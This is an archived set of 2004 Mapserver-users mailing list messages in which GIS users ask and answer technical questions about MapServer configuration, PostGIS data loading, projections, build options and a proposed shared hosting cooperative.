Re: [Mapserver-users] reducing RGB maps to 8bit - Bayesian Filter detected spam In-Reply-To: <405FC092.7070206@greenwoodmap.com> References: <4060091A.2030103@frw.uva.nl> <405FC092.7070206@greenwoodmap.com> Message-ID: <40603D0B.6060903@frw.uva.nl> Richard Greenwood wrote: > I have used a "brute force" approach in the past: > 1. Copy a representative sample of the images into a single composite > image. > 2. Use the Gimp or Photoshop to create an optimal color palette from the > composite. > 3. Save the palette, and then apply it to your whole image set. > Thanks Rich, I think I'll be going that way. I'm not sure how to find a "representative sample" though. Perhaps I'll script something together with the GIMP. It will certainly require lots and lots of "brute force" > You mention "cadastral maps dating from about 1830", my state was not > even a state until 1890! > Actually, I used those maps for my Ph.D. thesis on the medieval history of the Maastricht-Aachen-Li?ge region. Most parcels go back to the late Middle Ages (11-13th century), and some even to the 10th century. It is one of the oldest regions of Western Europe, much of it crown domain of Charlemagne and his successors. I wonder what Montana looked like in those days. Jan From eric at gomoos.org Tue Mar 23 05:43:42 2004 From: eric at gomoos.org (Eric Bridger) Date: 23 Mar 2004 08:43:42 -0500 Subject: [Mapserver-users] Populate HWY Symbol with Field Text & Where to Get Mexican HWY Symbols In-Reply-To: References: Message-ID: <1080049428.1858.1.camel@ubet.gomoos.org> On Mon, 2004-03-22 at 19:23, Mark Rodrigo wrote: > Hello all: > > Is there a way in Mapserver to populate a Hwy symbol Label with a field > value? I can do this is Arcmap, and was wondering how I might do it in > Mapserver. > You would add a LABELITEM in your LAYER definition. From eric at gomoos.org Tue Mar 23 05:53:39 2004 From: eric at gomoos.org (Eric Bridger) Date: 23 Mar 2004 08:53:39 -0500 Subject: [Mapserver-users] "postgis ---> mapserver" query In-Reply-To: References: Message-ID: <1080050025.1863.5.camel@ubet.gomoos.org> The PostGIS install comes with the shp2pgsql program which converts a shapefile into PostGres SQL insert statements. Look in the loader subdir. Eric On Tue, 2004-03-23 at 07:32, Saurabh Data wrote: > Dear Users > > Thanks for help till now. I have successfully installed mapserver and its > working !! > Now as part of my implementation, I need to link it to postgreSQL DB's > spatial extention called POSTGIS. I know I need to add a layer to the map > file of mapserver and link it to POSTGIS. > > My question is "Is there any (spatial) data available that I can put in > POSTGIS and link it to mapserver". Because as part of my implementation I > want to use POSTGIS as a back-end and call it from mapserver. > > OR is it possible to put (spatial)data already contained in mapserver to > POSTGIS and retrieve it ? > If this is possible, any ideas how it can be done ? > > Thanks for nay help !! > > Cheers > > Saurabh Data > > _________________________________________________________________ > It's fast, it's easy and it's free. Get MSN Messenger today! > http://www.msn.co.uk/messenger > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From sd at dil.in Tue Mar 23 06:55:49 2004 From: sd at dil.in (Saurabh Data) Date: Tue, 23 Mar 2004 14:55:49 +0000 Subject: [Mapserver-users] "postgis ---> mapserver" query Message-ID: Thanks eric for the answer. But to be honest, I dont know much about the shape files. And if they have *.shp extension then I could not find any of them being created or present in my directory. Browsing the web I got the following definition "stores nontopological geometry and attribute information for the spatial features in a data set. The geometry for a feature is stored as a shape comprising a set of vector coordinates. Shapefiles handle single features that overlap or that are noncontiguous. Shapefiles can support point, line and area features. " But it is still not clear... Any ideas ? cheers Saurabh Data _________________________________________________________________ Express yourself with cool new emoticons http://www.msn.co.uk/specials/myemo From eric at gomoos.org Tue Mar 23 07:06:27 2004 From: eric at gomoos.org (Eric Bridger) Date: 23 Mar 2004 10:06:27 -0500 Subject: [Mapserver-users] Populate HWY Symbol with Field Text & Where to Get Mexican HWY Symbols In-Reply-To: <1080049428.1858.1.camel@ubet.gomoos.org> References: <1080049428.1858.1.camel@ubet.gomoos.org> Message-ID: <1080054393.1863.20.camel@ubet.gomoos.org> I think I misunderstood your question. Sounds like you want the text as part of the symbol, not a label for the symbol. AFAIK you cannot do this automatically. But you can overlay one symbol on top of another. If you have a limited set of labels you could create some pngs with the same text as your label and use your field as a CLASSITEM to overlay the proper one. On Tue, 2004-03-23 at 08:43, Eric Bridger wrote: > On Mon, 2004-03-22 at 19:23, Mark Rodrigo wrote: > > Hello all: > > > > Is there a way in Mapserver to populate a Hwy symbol Label with a field > > value? I can do this is Arcmap, and was wondering how I might do it in > > Mapserver. > > > > You would add a LABELITEM in your LAYER definition. > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From ewaters at xmission.com Tue Mar 23 07:13:04 2004 From: ewaters at xmission.com (Eric Waters) Date: Tue, 23 Mar 2004 08:13:04 -0700 Subject: [Mapserver-users] Extent and units In-Reply-To: <6.0.1.1.0.20040322172354.01ecc218@pop.cls.fr> References: <6.0.1.1.0.20040322172354.01ecc218@pop.cls.fr> Message-ID: > Hi all, > >I don't understand the extent of the data in the demo of the mapserver : > >in the map file : EXTENT >201621.496941 -294488.285333 >1425518.020722 >498254.511514 >the same data with ogrinfo : -97.238976 41.619778 -82.122902 49.385620 >The 1rst are in meter and the second in degrees, how do you pass from the 2nd to the first ? >Can't we define the EXTENT with decimal degrees in the mapfile ? > >Thanks for the help, >Tony Tony, To convert from one projection to the other, use cs2cs as follows: Running "echo '201621.496941 -294488.285333' | cs2cs +init=epsg:2163 +to +proj=latlong -v" yields '97d32'51.868"W 42d19'27.254"N 0.000' (but I don't know how to make it output in full decimal degrees) Running "cs2cs +init=epsg:4326 +to +init=epsg:2163 -v" with input '97d32'51.868"W 42d19'27.254"N' then yields the coord in meters "201621.50 -294488.28 0.00" You can't write the extent of the map in Lat/Long degrees when the Projection of the map is in LAEA (meters). Notice that each layer is in geodetic (lat/long) projection since the data is in decimal degrees, but the map itself is in LAEA projection to make it look more realistic. Eric Waters From eric at gomoos.org Tue Mar 23 07:09:14 2004 From: eric at gomoos.org (Eric Bridger) Date: 23 Mar 2004 10:09:14 -0500 Subject: [Mapserver-users] "postgis ---> mapserver" query In-Reply-To: References: Message-ID: <1080054559.1908.25.camel@ubet.gomoos.org> On Tue, 2004-03-23 at 09:55, Saurabh Data wrote: > Thanks eric for the answer. > > But to be honest, I dont know much about the shape files. And if they have > *.shp extension then I could not find any of them being created or present > in my directory. Really, I thought some shape files came with the demo. What maps are you displaying? Check the DATA definitions in your map file, they will not contain the .shp extension. From stepan.kafka at centrum.cz Tue Mar 23 07:33:58 2004 From: stepan.kafka at centrum.cz (Stepan Kafka) Date: Tue, 23 Mar 2004 16:33:58 +0100 Subject: [Mapserver-users] mapserver_ChangeLog.txt In-Reply-To: Message-ID: <004b01c410ec$42a96320$463c2fc3@HSGIS> Please, where is the actual mapserver_ChangeLog.txt file now? At DM Solution web site is only old version from june 2003 (http://www.maptools.org/dl/mapserver_ChangeLog.txt) Thank you Stepan Kafka > -----P?vodn? zpr?va----- > Od: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]za u?ivatele Steve Lime > Odesl?no: 22. b?ezna 2004 17:38 > Komu: Cedric.Moeri at bd.so.ch; mapserver-users at lists.gis.umn.edu > P?edm?t: Re: [Mapserver-users] msyyparse() - parse error > > > Hi there: Msyyparse() is the function that evaluates MapServer > expressions. There > are 3 possibilities: > > 1) There is an error in the expression you're using. > 2) There is something funky in your data, that breaks an expression. > 3) There is an error in the code itself. > > Although 1) and 3) are possible they seem unlikely. My guess is > that there is an > issue with certain data values and the expressions. One example would be > data values containing embeded quotes. Let's say you had a place name > called O'Reilly and where using an expression like: > > ('[placename]' = 'foo') which would become in the case of O'Reilly, > > ('O'Reilly' = 'foo') and this would cause a parse error. > > Could also happen with numeric fields that didn't contain numbers > or are empty. > We'd really need to see your mapfile to make the call. > > Steve > > >>> M?ri C?dric 3/22/2004 4:27:42 AM >>> > Hello list! > > we recently upgraded our systems from > MapServer3.6.6/postgreSQL7.2.4/postgis0.8.0 to > MapServer4.0.1/postgreSQL7.4.2/postgis0.8.1. The system is running under > Linux RH7.2. > > Now i'm reciving sometimes this strange error "msyyparse(): Expression > parser error. parse error". > (In the old version, everyting worked perfect!) > > I'm not able to reproduce this error regularly. Sometimes it triggers when > i'm switching some layers on/off, sometimes it triggers when i'm > just paning > (same layer-set/same scale). Sometimes it triggers only one time, > othertimes > up to 60 times with still the same mapfile. > > I read from the archives that there might be some issue about the > querrying > in postgis but there is not much more. > > So I guess I'm stuck. Has anybody a hint for me in which > direction to go on > with my quest? May anybody explain what the msyyparse does, and when it is > called? > > Any hint would be appreciated! > If needed I would be glad to provide further information. > > best regards > mit freundlichen Gr?ssen > > C?dric M?ri > > ******************************************** > Kanton Solothurn > Amt f?r Geoinformation > Abt. SO!GIS Koordinationsstelle > R?tihof > 4509 Solothurn > T: ++41 (0)32 627 2475 > Fax: ++41 (0)32 627 2214 > http://www.sogis.so.ch > ******************************************** > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From dmorissette at dmsolutions.ca Tue Mar 23 08:04:26 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 23 Mar 2004 11:04:26 -0500 Subject: [Mapserver-users] mapserver_ChangeLog.txt In-Reply-To: <004b01c410ec$42a96320$463c2fc3@HSGIS> References: <004b01c410ec$42a96320$463c2fc3@HSGIS> Message-ID: <4060600A.2030506@dmsolutions.ca> Stepan Kafka wrote: > Please, where is the actual mapserver_ChangeLog.txt file now? > At DM Solution web site is only old version from june 2003 > (http://www.maptools.org/dl/mapserver_ChangeLog.txt) Thanks for pointing that. We forgot to re-enable the automated update of that file in the switch to the maptools server. I have fixed it. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From TMitchell at lignum.com Tue Mar 23 08:39:30 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Tue, 23 Mar 2004 08:39:30 -0800 Subject: [Mapserver-users] configure options and using --without Message-ID: I am trying to explicitly disable support for several configure options and am finding that some appear not to have a "without" option. Is this normal use of configure options? I see that some options have with and without in the ./configure --help listing, but assumed that without should work on any option. What do you think? Here are some observations I had when doing this. The first time I came across this was when using --without-mpatrol. I understand that this is an option that is only enabled if specified, so I don't need to do this, but I found that when I did do this, it appears to actually try to enable it. ./configure --without-mpatrol checking whether we should compile in MPATROL support... configure: error: Could not find mpatrol.h or libmpatrol.a/libmpatrol.so in / data4/src/gis/mapserver-4.0.1/no. ---------- Here are a few of the other options I found I couldn't explicitly disable. I assume some of this may be due to requirements of GD and MapServer. >From everything I've read, GD is the only requirement - but of course jpeg, freetype, png (and zlib) could all be used by GD, so I can see that mapserv won't do a heck of a lot if I disable these, but humour me :) Here's what I found happened when I attempted to disable each of these - only PNG appears to not have got added in - any idea why? www:/data4/src/gis/mapserver-4.0.1 # ./configure --without-zlib --without-jpeg --without-png --without-freetype checking whether we should include JPEG support... disabled by --without-jpeg checking for jpeg_read_header in -ljpeg... yes using libjpeg from system libs. checking where FreeType 2.x is installed... checking for FT_Init_FreeType in -lfreetype... yes using libfreetype -lfreetype from system libs. checking where Zlib is installed... checking for zlibVersion in -lz... yes using libz from system libs. checking where PNG is installed... checking for png_init_io in -lpng... no PNG (libpng) library cannot be found, possibly needed for GD From thomas.dubuisson at geosignal.fr Tue Mar 23 09:11:14 2004 From: thomas.dubuisson at geosignal.fr (Thomas Dubuisson / GEOSIGNAL) Date: Tue, 23 Mar 2004 18:11:14 +0100 Subject: [Mapserver-users] sql query "in" with class expression Message-ID: <013801c410f9$d9021530$1620a8c0@sig.fr> This is a multi-part message in MIME format. ------=_NextPart_000_0135_01C41102.3ABBCED0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable hello, how to use sql syntax like this "[id] in (1,2,526,45001,523)" in a = mapserver class expression ? Thomas Dubuisson GEOSIGNAL Groupe BVA 05.61.17.47.17 25, bis av marcel dassault 31500 Toulouse ------=_NextPart_000_0135_01C41102.3ABBCED0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
hello,
 
how to use sql syntax like this "[id] = in=20 (1,2,526,45001,523)" in a mapserver class=20 expression ?
 
 
 
Thomas Dubuisson
 
GEOSIGNAL
Groupe = BVA
05.61.17.47.17
25,=20 bis av marcel dassault
31500 Toulouse
------=_NextPart_000_0135_01C41102.3ABBCED0-- From eric at gomoos.org Tue Mar 23 09:19:46 2004 From: eric at gomoos.org (Eric Bridger) Date: 23 Mar 2004 12:19:46 -0500 Subject: [Mapserver-users] sql query "in" with class expression In-Reply-To: <013801c410f9$d9021530$1620a8c0@sig.fr> References: <013801c410f9$d9021530$1620a8c0@sig.fr> Message-ID: <1080062392.1908.62.camel@ubet.gomoos.org> How about: EXPRESSION ([id] = 1 OR [id] = 2 OR ...) On Tue, 2004-03-23 at 12:11, Thomas Dubuisson / GEOSIGNAL wrote: > hello, > > how to use sql syntax like this "[id] in (1,2,526,45001,523)" in a mapserver class expression ? > > > > Thomas Dubuisson > > GEOSIGNAL > Groupe BVA > 05.61.17.47.17 > 25, bis av marcel dassault > 31500 Toulouse From jnielsen at aero-graphics.com Tue Mar 23 09:30:08 2004 From: jnielsen at aero-graphics.com (Jason M. Nielsen) Date: Tue, 23 Mar 2004 10:30:08 -0700 Subject: [Mapserver-users] Zoom to location by string match in query on SHP files. Message-ID: <1080063008.406074202e16e@www.agi-lan.com> Is there a way to perform a query on shape files for a string match then return that record and extract specific data about it? Example: I have a shape file of all roads in an area. Among other attributes all of these roads have a name and vertex coordinates. I would like to be able to enter a street name, find it in the shape file then zoom to say the first X,Y point starting that road. This would probably be very easy using PostGIS and php but unforunately as things stand these are not available to me atm. All I have is the cgi mapserver and shape files. They want to keep shape files as the datasource as well due to some other issues. From dmorissette at dmsolutions.ca Tue Mar 23 11:14:24 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 23 Mar 2004 14:14:24 -0500 Subject: [Mapserver-users] configure options and using --without In-Reply-To: References: Message-ID: <40608C90.4090603@dmsolutions.ca> Tyler Mitchell wrote: > I am trying to explicitly disable support for several configure options > and am finding that some appear not to have a "without" option. Is this > normal use of configure options? I see that some options have with and > without in the ./configure --help listing, but assumed that without should > work on any option. What do you think? > In general, using --without should work even if not explicitly listed in the --help. > > ./configure --without-mpatrol > > checking whether we should compile in MPATROL support... > configure: error: Could not find mpatrol.h or libmpatrol.a/libmpatrol.so > in / > data4/src/gis/mapserver-4.0.1/no. > There was a typo in a variable in the configure.in that caused that. I have fixed it in the 4.1 CVS. > ---------- > Here are a few of the other options I found I couldn't explicitly disable. > I assume some of this may be due to requirements of GD and MapServer. >>From everything I've read, GD is the only requirement - but of course > jpeg, freetype, png (and zlib) could all be used by GD, so I can see that > mapserv won't do a heck of a lot if I disable these, but humour me :) > Here's what I found happened when I attempted to disable each of these - > only PNG appears to not have got added in - any idea why? > Seems that the configure script isn't bullet-proof and assumes that nobody will try to disable an option that's already built into their system. i.e. if your GD was built with jpeg, zlib, png and/or freetype, then having the ability to disable some or all of them in MapServer's Makefile would only result in linking problems. Since that doesn't impact usage in normal conditions I didn't really investigate any further, but you could always file this as a bug. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From djaimes at corponor.gov.co Tue Mar 23 11:53:40 2004 From: djaimes at corponor.gov.co (DANIEL JAIMES PALACIOS) Date: Tue, 23 Mar 2004 14:53:40 -0500 Subject: [Mapserver-users] =?iso-8859-1?Q?Manual_de_Instalaci=F3n_de_PHP_Map_script_y_ejemplos=3F=3F?= Message-ID: <000c01c41110$97b09ea0$1fc3c3c3@corponor> This is a multi-part message in MIME format. ------=_NextPart_000_0009_01C410E6.A1007220 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hola Lista, Estoy interesado en conectar mapserver con Base de Datos Oracle, = necesito saber si el PHP mapscript binario (Win 32)tiene soporte para = Oracle, pasos para su instalaci=F3n y ejemplos para empezar a = trabajarlo. Gracias Daniel Jaimes Colombia ------=_NextPart_000_0009_01C410E6.A1007220 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hola Lista,
 
Estoy interesado en conectar mapserver = con Base de=20 Datos Oracle, necesito saber si el PHP mapscript binario (Win 32)tiene = soporte=20 para Oracle, pasos para su instalaci=F3n y ejemplos para empezar a=20 trabajarlo.
 
 
Gracias  Daniel Jaimes=20 Colombia
------=_NextPart_000_0009_01C410E6.A1007220-- From David.Fawcett at state.mn.us Tue Mar 23 12:24:32 2004 From: David.Fawcett at state.mn.us (David Fawcett) Date: Tue, 23 Mar 2004 14:24:32 -0600 Subject: [Mapserver-users] =?ISO-8859-1?Q?[Mapserver-users]=20Re:=20[Mapserver-users]=20Fw:?= =?ISO-8859-1?Q?=20Solicitud=20de=20informaci=F3n?= Message-ID: Quantos polygonos tienes? David. David J. Fawcett MN Office of Environmental Assistance >>> "DANIEL JAIMES PALACIOS" 3/19/2004 3:55:04 PM >>> Juan Pablo, Tengo un problema, resulta que tengo un layer, de una divisi?n politica de un departamento, pero quiero que cada polygono me tome un color diferente, como hago????? Gracias DANIEL JAIMES CUCUTA-COLOMBIA ----- Original Message ----- From: Pablo Berroa To: djaimes at corponor.gov.co Sent: Thursday, March 18, 2004 11:24 PM Subject: RE: [Mapserver-users] Fw: Solicitud de informaci?n Daniel, Para accesar bases de datos debes utilizar PHP MapScript, busca los detalles en la pagina oficial de Mapserver. Juan Pablo Berroa Santo Domingo, Rep. Dominicana ------------------------------------------------------------------------------ Free up your inbox with MSN Hotmail Extra Storage. Multiple plans available. From TMitchell at lignum.com Tue Mar 23 12:22:13 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Tue, 23 Mar 2004 12:22:13 -0800 Subject: [Mapserver-users] configure options and using --without In-Reply-To: <40608C90.4090603@dmsolutions.ca> Message-ID: I understand the linking issues but was trying to strip out as much as possible (purely as an academic exercise) to make sure I really understood the minimal dependencies. Thanks for the discussion - it clarified the point for me. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 03/23/2004 11:14:24 AM: > Tyler Mitchell wrote: > > I am trying to explicitly disable support for several configure options > > and am finding that some appear not to have a "without" option. Is this > > normal use of configure options? I see that some options have with and > > without in the ./configure --help listing, but assumed that without should > > work on any option. What do you think? > > > > In general, using --without should work even if not explicitly listed in > the --help. > > > > > ./configure --without-mpatrol > > > > checking whether we should compile in MPATROL support... > > configure: error: Could not find mpatrol.h or libmpatrol.a/libmpatrol.so > > in / > > data4/src/gis/mapserver-4.0.1/no. > > > > There was a typo in a variable in the configure.in that caused that. I > have fixed it in the 4.1 CVS. > > > > ---------- > > Here are a few of the other options I found I couldn't explicitly disable. > > I assume some of this may be due to requirements of GD and MapServer. > >>From everything I've read, GD is the only requirement - but of course > > jpeg, freetype, png (and zlib) could all be used by GD, so I can see that > > mapserv won't do a heck of a lot if I disable these, but humour me :) > > Here's what I found happened when I attempted to disable each of these - > > only PNG appears to not have got added in - any idea why? > > > > Seems that the configure script isn't bullet-proof and assumes that > nobody will try to disable an option that's already built into their > system. i.e. if your GD was built with jpeg, zlib, png and/or freetype, > then having the ability to disable some or all of them in MapServer's > Makefile would only result in linking problems. Since that doesn't > impact usage in normal conditions I didn't really investigate any > further, but you could always file this as a bug. > > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette dmorissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mtperry78 at sbcglobal.net Tue Mar 23 14:25:18 2004 From: mtperry78 at sbcglobal.net (Matthew Perry) Date: Tue, 23 Mar 2004 14:25:18 -0800 (PST) Subject: [Mapserver-users] RE: How to redirect using query mode Message-ID: <20040323222518.34224.qmail@web80102.mail.yahoo.com> Eduardo, i have used the META tag to successfully redirect a query. Here is an example query template: Hope this helps. Matt Perry Humboldt State University mtperry78 at sbcglobal.net From TMitchell at lignum.com Tue Mar 23 14:31:58 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Tue, 23 Mar 2004 14:31:58 -0800 Subject: [Mapserver-users] Hosting Co-op (was PostGIS hosting?) In-Reply-To: Message-ID: Let me throw out an item for discussion among the group. But first a slight justification for my enthusiasm. The hosting beast is, in my mind, a very major problem. It gives Open Source naysayers ammo by suggesting that requirements are so complex that you need an advanced administrator to run them. It also suggests that this technology is not in common enough use to bank on yet. Also, as many know, normal ISP hosts lack support for many requirements which can be very frustrating and limit any use of PostGIS and MapServer, in particular. I certainly don't agree with all these conclusions but with them in mind, only geeks who have a fast computer and high speed Internet connection can even fathom setting up a server, or only well established companies that have good bandwidth and resources. This problem must be overcome to provide corporate IT and client decision-makers some more comfort. I know the demand for a solution is out there, but that it is quite often too many small potatoes to make it worthwhile as a commercial venture. Therefore, I suggest a cooperative, non-profit solution to the problem. As Paul pointed out, there are remote dedicated servers available for leasing. From my own research (including Paul's link), they start at about US$150 per month and go upwards depending on system requirements. The base price on another provider was US$300. They include Internet connectivity (usually redundant), security, UPS power backup, backup power generators, 24/7 network monitoring, email addresses, etc. The user has full "root" access to the machine so that all additional required components could be installed (i.e. PostGIS and MapServer). You get the picture. Therefore, I suggest we gauge interest in this type of approach. If there are enough people interested in sharing the costs - they could ultimately be very low per member. I would like to open up further discussion on this through this list. If for no other reason than to gauge: 1) how many people would be interested, 2) to further discuss the options. What you can do: - Respond to the mailing list for further discussion - Register your vote for or against the idea at: http://www.misterpoll.com/3195114918.html - Contribute your ideas at: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?HostingCooperative What do you think? Tyler postgis-users-bounces at postgis.refractions.net wrote on 03/22/2004 11:26:01 PM: > Hi, > > Does anyone have any reccomended hosting providers that will include PostGIS > (and a lot of storage space)? > We have tried pgHoster.com and had an absolutely dreadful experience. As > such, we are not interested in them or their sister company gishosting.net. > > What we are hoping for are: > > SSH access > PostGIS with a very generous amount of hard disk space > MySql: For php app related storage > PHP: For postnuke, phpForum, mantis, etc. > Tomcat or Resin: For GeoServer > E-mail: POP3, e-mail forwarders, and spam filtering > Fair pricing on bandwidth as the sites traffic increases From scoota at supanet.com Tue Mar 23 15:17:41 2004 From: scoota at supanet.com (Keith Campbell) Date: Tue, 23 Mar 2004 23:17:41 +0000 Subject: [Fwd: Re: [Mapserver-users] WFS Anyone?] Message-ID: <4060C595.5080601@supanet.com> Frank, Setting the PROJ_LIB environment variable via the Apache configuration file has done the trick. Thanks again. Keith -------- Original Message -------- Subject: Re: [Mapserver-users] WFS Anyone? Date: Tue, 23 Mar 2004 20:48:59 +0000 From: Keith Campbell Reply-To: scoota at supanet.com To: Frank Warmerdam References: <405E201E.7080900 at supanet.com> <405E3904.9080704 at pobox.com> <405F6156.3090108 at supanet.com> <405F661C.5040302 at pobox.com> <405F7326.8090500 at supanet.com> <405FA694.3050202 at pobox.com> Frank, That's excellent information, thanks for taking the time. I must admit I'm relatively new to UNIX and it's a dark and mysterious world to me. I'll request the server administrator to alter the Apache httpd.conf file to include your suggested 'SetEnv' statement. Cheers, Keith Frank Warmerdam wrote: > Keith Campbell wrote: > >> Frank, >> >> The files you speak of appear to be in /export/home/local/util/proj/nad >> >> Assuming that this location is not being picked up, I set PROJ_LIB to >> point to this directory. However, that didn't resolve the problem. >> Possibly this is due to the fact i don't have admin rights, and >> although the variable was reported to have changed, when I logged out >> and back in again, the variable was not set. I think I will need to >> get the server administrator to set this variable and try again? > > > Keith, > > I gather you are working on unix. To set an environment variable on unix > in such a way that it will affect a cgi-bin you will normally need to add > a "SetEnv" directive in your apache configuration file. Something like: > > > SetEnv PROJ_LIB /export/home/local/util/proj/nad > > Alternatively, you can setup a "cover script" for mapserver that sets > appropriate environment variables. I have used a shell script like the > following in the past. > > #! /bin/sh > > MS_MAPFILE=/u/www/gmap/htdocs/gmap75.map > export MS_MAPFILE > > /u/pkg/mapserver/mapserv > > exit 0 > > In general setting an environment variable at the command line on Unix > just sets in in that shell instance, and subshells. It has no external > effect. To set it everytime you login, add it to your shell startup > file. > To add it for all users there is usually a shell startup script in > /etc that > can be altered though I seldom do it that way. In any event, it might > not > have the desired effect on web servers that aren't started directly > from a > shell. There is no equivelent to the "global" environment of Windows NT. > > Best regards, > > -- > ---------------------------------------+-------------------------------------- > > I set the clouds in motion - turn up | Frank Warmerdam, > warmerdam at pobox.com > light and sound - activate the windows | http://pobox.com/~warmerdam > and watch the world go round - Rush | Geospatial Programmer for Rent > > From kasey at inexo.com Tue Mar 23 16:29:17 2004 From: kasey at inexo.com (Kasey Kirkham) Date: Tue, 23 Mar 2004 17:29:17 -0700 Subject: [Mapserver-users] GPS Coordinate Mapping Message-ID: <000c01c41137$0ac3bcd0$6401a8c0@wskasey> Hi all, I'm currently working on a GPS-oriented mapping application(with much help from Chris over at DM) using mapserver and php/mapscript(4.0.1 and 1.177, respectively). I need to be able to select coordinates out of a database and plot those coordinates over a map. I can zoom to a given extent through mapscript, but I'm at a loss as to how I can draw the points on the map. I was referred to this document: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData but I would like something that left connecting to the database and preparing the points up to me. It might also be necessary to create layers with more complex shapes from a variable number of points. So, what mapscript objects/methods can be used to create shape files(or even the "shapes" themselves...) and to add them to the map at execution time? Of course, if I'm barking up the wrong tree entirely, some redirection would be equally appreciated. Thanks for you help, Kasey Kirkham Inexo Solutions Phoenix, AZ From warmerdam at pobox.com Tue Mar 23 17:41:19 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 23 Mar 2004 20:41:19 -0500 Subject: [Mapserver-users] Re: Hosting Co-op (was PostGIS hosting?) In-Reply-To: <4060BD79.6040503@refractions.net> References: <4060BD79.6040503@refractions.net> Message-ID: <4060E73F.2050108@pobox.com> Paul Ramsey wrote: > As a system administrator, my take is that while things would work well > in the beginning, in the end things would get nasty with version > interdependencies and the requirements of different users. If I upgrade > the system-wide PHP installation and break it for some of the users... > well, they will not like me much. Similarly for systemwide installations > of GEOS, PostgreSQL, mapserver, etc. While some people will simply use > their area for happy tinkering, others will want to deploy stable > applications and leave them be. The tinkerers would be happy to always > have the latest version of everything, but the deployers would want > things left well enough alone. Tyler / Paul, I would tend to agree that for this to be practical versioning would be an issue. I think it might be best to support multiple versions as time progresses with old versions not being retired untill there are no paying co-op members using the version any more. More generally, I like the idea of a co-op but I am dubious about whether it would make sense. Whether it would get enough supporters to justify the effort. Or alternatively, if there might be some folks interested who want a higher degree professionalism than a cooperative would be able to provide. For instance, I think that network load, and disk space required would vary quite radically for different users and that it would be relatively hard to determine which users are using how much (of network bandwidth at least). Coming up with a fee structure that reasonably reflects this would be challenging. In fact, one heavy user might easily heavily load the machine or run up big extra bandwidth charges. Caveats aside, I think it would be very nice to have a cooperatively managed hosting system available. From my point of view, I would like *one* of the available software sets to closely track the current development version of some of the key packages (PostGIS, MapServer, and GDAL/OGR for instance). Hopefully the system would attract some supports as a convenient place to do prototyping. To test out MapServer and the various component technologies even if the intent would be to eventually deploy their production systems elsewhere once they are satisfied. The nice thing about doing some prototyping on a relatively public system like this, is that alot of the starting headaches getting the environment setup would be skipped. Also, it would be easier for outside developers to diagnose issues on a such a semi-public system. One question that comes to mind, is what sort of components you would want to provide. Ideally I would like to see: o PostgreSQL/PostGIS (with GEOS, PROJ, etc). o MapServer with WMS/WFS/WCS client and server, PROJ, pdf, flash, GDAL, OGR o Apache 2 o Python MapScript bindings, possibly Zope? o Perl MapScript o PHP/Mapscript o the full suite of PHP MapScript based Chameleon/CWC2/MapLab technologies o GDAL/OGR with as many extras built-in as possible builtin, including JPEG2000, OGDI, HDF, GML (Xerces), DODS, and Python bindings. o MySQL (plus spatial extensions) I think it would also be ideal to provide a full Java environment. I don't know this side of the world so well, but I assume that would include "Apache Tomcat", Java MapScript, GeoServer, Java classes for interfacing with PostGIS, other GeoTools2 related stuff. I think setting up a formal cooperative with fees might be pretty organizationally challenging. It would be easier if someone - perhaps someone who already needs to setup a co-hosted server - would be willing to operate the system as a commercial effort even if not with the intent of earning alot of profit. This might be an independent consultant or perhaps a user group. A company like DM Solutions or Refractions would also be great, but it might kind of undermine their more professional support options. For a consultant, or consulting company operating such a hosting platform could hopefully be a valuable source of recognition/marketting even though the hosting solution itself isn't likely to be be too lucrative. If someone does decide to launch such an effort, I would be willing to put in time and effort to help set up many of the software packages, primarily to promote the various technologies, but also possibly for some free hosting and, as always, for the recognition that can come from such an effort. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From cz_toh at yahoo.com Tue Mar 23 19:36:06 2004 From: cz_toh at yahoo.com (=?iso-8859-1?q?TOH=20CZ?=) Date: Wed, 24 Mar 2004 03:36:06 +0000 (GMT) Subject: [Mapserver-users] Errors while trying to do flash with mapserver Message-ID: <20040324033606.99365.qmail@web14005.mail.yahoo.com> --0-1743743409-1080099366=:99354 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Content-Id: Content-Disposition: inline Hi, I have gotten an example of flash + mapserver and I have gotten the following errors Warning: Division by zero in C:\Program Files\Apache Group\Apache2\htdocs\getFlashMap.php on line 30 Warning: Division by zero in C:\Program Files\Apache Group\Apache2\htdocs\getFlashMap.php on line 30 Warning: Division by zero in C:\Program Files\Apache Group\Apache2\htdocs\getFlashMap.php on line 30 Warning: Division by zero in C:\Program Files\Apache Group\Apache2\htdocs\getFlashMap.php on line 30 